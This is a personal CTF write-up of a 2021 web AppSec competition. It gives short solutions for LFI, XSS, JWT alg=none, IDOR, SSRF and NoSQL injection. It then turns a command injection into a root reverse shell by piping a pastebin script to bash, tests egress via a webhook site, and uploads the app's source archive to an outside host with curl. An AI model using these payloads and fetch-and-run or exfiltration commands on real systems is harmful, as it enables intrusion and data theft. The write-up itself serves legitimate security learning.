I participated in the CCoE Great AppSec Hackathon/CTF 2021 on 27-28 November, 2021. It was organized by the Data Security Council of India, NASSCOM, CSW, IEEE, some other industry associations and government organizations. The first round was a quiz held in the morning. The second round was a 24 hour jeopardy style CTF. I got all twenty flags in less than seven hours. Here is my writeup.
I was given my VPN credentials at 6:45 and the CTF started at 7 PM on November 27, 2021. I solved 11-12 challenges by 12:30 AM. And then I discovered something which helped me solve the rest in an hour (and most of that hour was spent doing something irrelevant). Read the last part for details.
Solving Challenges the Regular Way
Local File Inclusion
Go to /../../../../../etc/passwd
.
You may need to intercept the request, and edit/fix it in the raw request editor if your browser removes the ../../../../../
part.
Broken Access Control
Try to log in. Intercept the request, change URL-encoded parameter role
from user
to admin
and then resume the HTTP request.
Components with known vulnerabilities
JQuery script tag had
flag="Q1NXe1Z1TG4zckBibEVfalF1RXJZX0xlQURzXzdPX3g1NX0="
Decode with base64.
Parameter Tampering
Add a URL-encoded GET param, action
with any random value on the /search
endpoint.
Cross-Site Scripting
The /search
page is vulnerable to XXS. Search (or add as value to the title
param) the following string </p><script>alert(document.domain)</script>
to get the flag.
Dashboard access via default credentials
Try to log in with email admin@csw.com
and password admin
to get the flag.
Token leak via source code
Buried somewhere deep in token.js
is this line:
|
|
Base64 decode it twice to get the flag.
JSONP exploitation
The question tells you that the product details page is vulnerable to JSONP exploitation.
Add a callback
URL-encoded query parameter on the product page with any value and it will work.
Directory Listing
The flag is at /api/config/flag.txt
Unrestricted File Upload
Open the new product page where you upload an image.
In chromium devtools, open up the sources tab. View the upload.js
file.
|
|
Change the if (!allowedExtensions.exec(filePath)) {
line to if (false) {
and try to upload a non image file like a .txt
file.
Authentication Bypass
When you’re logged in and visit the home page at /
then a JavaScript function tries to send a GET request at /jwtflag/<somebase64string>
.
Intercept the request.
Decode the base64 string.
On decoding the base64 string you will get something like:
|
|
Replace the algorithm with none
, re-encode to base64, and forward the request.
|
|
Ideally this should give you the flag but the ctf application had a bug where it would only give you the flag if your decoded string was
|
|
with an extra dot at the end. This is an invalid JWT according to https://jwt.io/
Insecure CORS misconfiguration
The flag was at the /flag
endpoint but the incorrect CORS config meant that you couldn’t visit it via a regular browser. Just use any HTTP client like the CLI tool curl
with the origin: https://cybersecurityworks.com
header.
BAC via header change
Make a GET request to /admin/internal
with the x-forwarded-for: 127.0.0.1
header.
Insecure Direct Object Reference
Visit the /cart
endpoint. Soon you will see that some JavaScript function will try to make a GET request to /cart/<somebase64string>
.
Intercept the request.
Decode the base64 string.
On decoding the base64 string you will get something like:
|
|
Modify the email to something gibberish like whatever@gmail.com
. Re-encode to base64 and forward the request. The response will be the flag.
Login via source code review
login.js
has some MD5-related functions, an XOR-related function, and a login function.
Let’s look at the login function. Afaik it isn’t being used anywhere else.
|
|
XOR has a property,
A ^ B = C and A ^ C = B
XOR is also commutative.
X ^ Y = Y ^ X
So I modified the function.
|
|
Then I executed login() in the JavaScript console from browser devtools. It displayed the flag.
Privilege Escalation through Insecure Direct Object Reference
Visit /orders
On viewing the source code you will see
|
|
The notable thing is this value 61770049a492815074995181
.
A JavaScript function called vertIdor
will try to make a GET request to /orders/<somebase64string>
.
Intercept the request.
Decode the base64 string.
On decoding the base64 string you will get something like:
|
|
Replace _id
’s value with the admin_id_to_verify
value we had discovered earlier. Re-encode to base64 and forward the request. The response will be the flag.
Server Side Request Forgery
In the add product form, set the image URL to file:///etc/passwd
and fill in any other values for the rest of the fields.
NoSQL Injection
I was unable to figure this out and got the flag using the RCE method explained at the end.
After the competition ended, I asked Watto and Vengatesh (part of the organizing team) for the proper solution on Discord.
In the /search
endpoint instead of trying to put your injection in the title
parameters’s value, you have to edit both the parameter and it’s value.
So making a GET request to /search?title[$ne]=null
gives you the flag.
Command Injection
This is the interesting one.
On the surface it is easy. When you edited a product and updated the title, then you got the standard error as output as it tried to execute the title contents. So you should just input any valid Linux command and the shell would spew the output if stderr is empty.
Sure enough, it worked.
But there is more. This is the challenge that can reduce solving the entire CTF to a matter of minutes. Elaborated at the end.
Git Information disclosure
I found something at /.git
. It was an HTML git viewer thingy. I tried cloning it with git but it just stuck.
So I used wget to download it.
|
|
This downloaded it. Then I opened it with Gitg which is GNOME’s git graphical user interface. Gitg makes it very very easy to browse and search across branches and commit history. I got the flag in a source code file.
Getting Remote Code Execution
Let’s go back to the Command Injection challenge.
While executing random Linux commands, I tried random things. I tried to redirect stdout to stderr and combine commands with ||
or &&
or ;
. All of these gave me the flag for the original challenge.
I suspected this wasn’t a real shell and it was hardcoded to return the flag on trying Linux commands.
But then when I tried $HOME/whatever
it said /root/whatever
not found. This told me it was a real shell after all. I realized sub-commands using $()
were working.
Then I checked if the machine had internet connectivity. This was necessary because we had access to the deployed service via VPN only and the web app wasn’t exposed to the wider internet.
$(curl https://webhook.site/dd91b1d1-7438-473e-8d6d-f4789f6ecfb2)
Then I opened https://webhook.site/#!/dd91b1d1-7438-473e-8d6d-f4789f6ecfb2/60f59016-db4a-40b3-82be-d2030cf9b3dd/1 and sure enough, there was a request from a machine with curl/7.68.0
as user-agent.
Next, I tried opening a reverse shell.
On my server, I opened up port 6969 in the firewall. Then I started a netcat listener with
|
|
Then I crafted my reverse shell command
|
|
and saved it as a downloaded plaintext paste.
I updated a product title to $(curl https://pastebin.com/raw/b315knj2 | bash)
. It spawned a reverse shell on my netcat listener with root level access.
|
|
I saw the source code for the web app and opened main.js
. (The app was written in node.js)
|
|
Viola! I had the JWT key and the database connection string. I spent an hour just exploring the MongoDB database which I had 100% read and write access to. I dumped, downloaded, and explored every piece of data in it but didn’t find any flags in it.
Then I looked at other files and Boom! Flags.
Since I had root access to the machine I installed the zip utility on it. apt install zip
|
|
Then I sent the entire zip file to my machine using curl and a pastebin that allows binary files to be uploaded.
curl --data-binary @sauce.zip https://bin.wantguns.dev
I got the public URL to the source code and downloaded it.
On downloading the zip, I searched it for CSW{
. And wow! I got 16 flags from this itself. If someone did just this question they’d have solved 80% of the entire CTF in minutes.
Since I had done 11-12 challenges already I uploaded the rest ASAP and submitted.
The challenges not found via this method are Components with known vulnerabilities, Token leak via source code, Login via source code review and Git Information disclosure.
Anyways, with that, the CTF was over for me. I had gotten all flags before 2 AM. I could have done the rest of the challenges manually as well but I already had the flags so why bother.
Last modified on 2021-12-12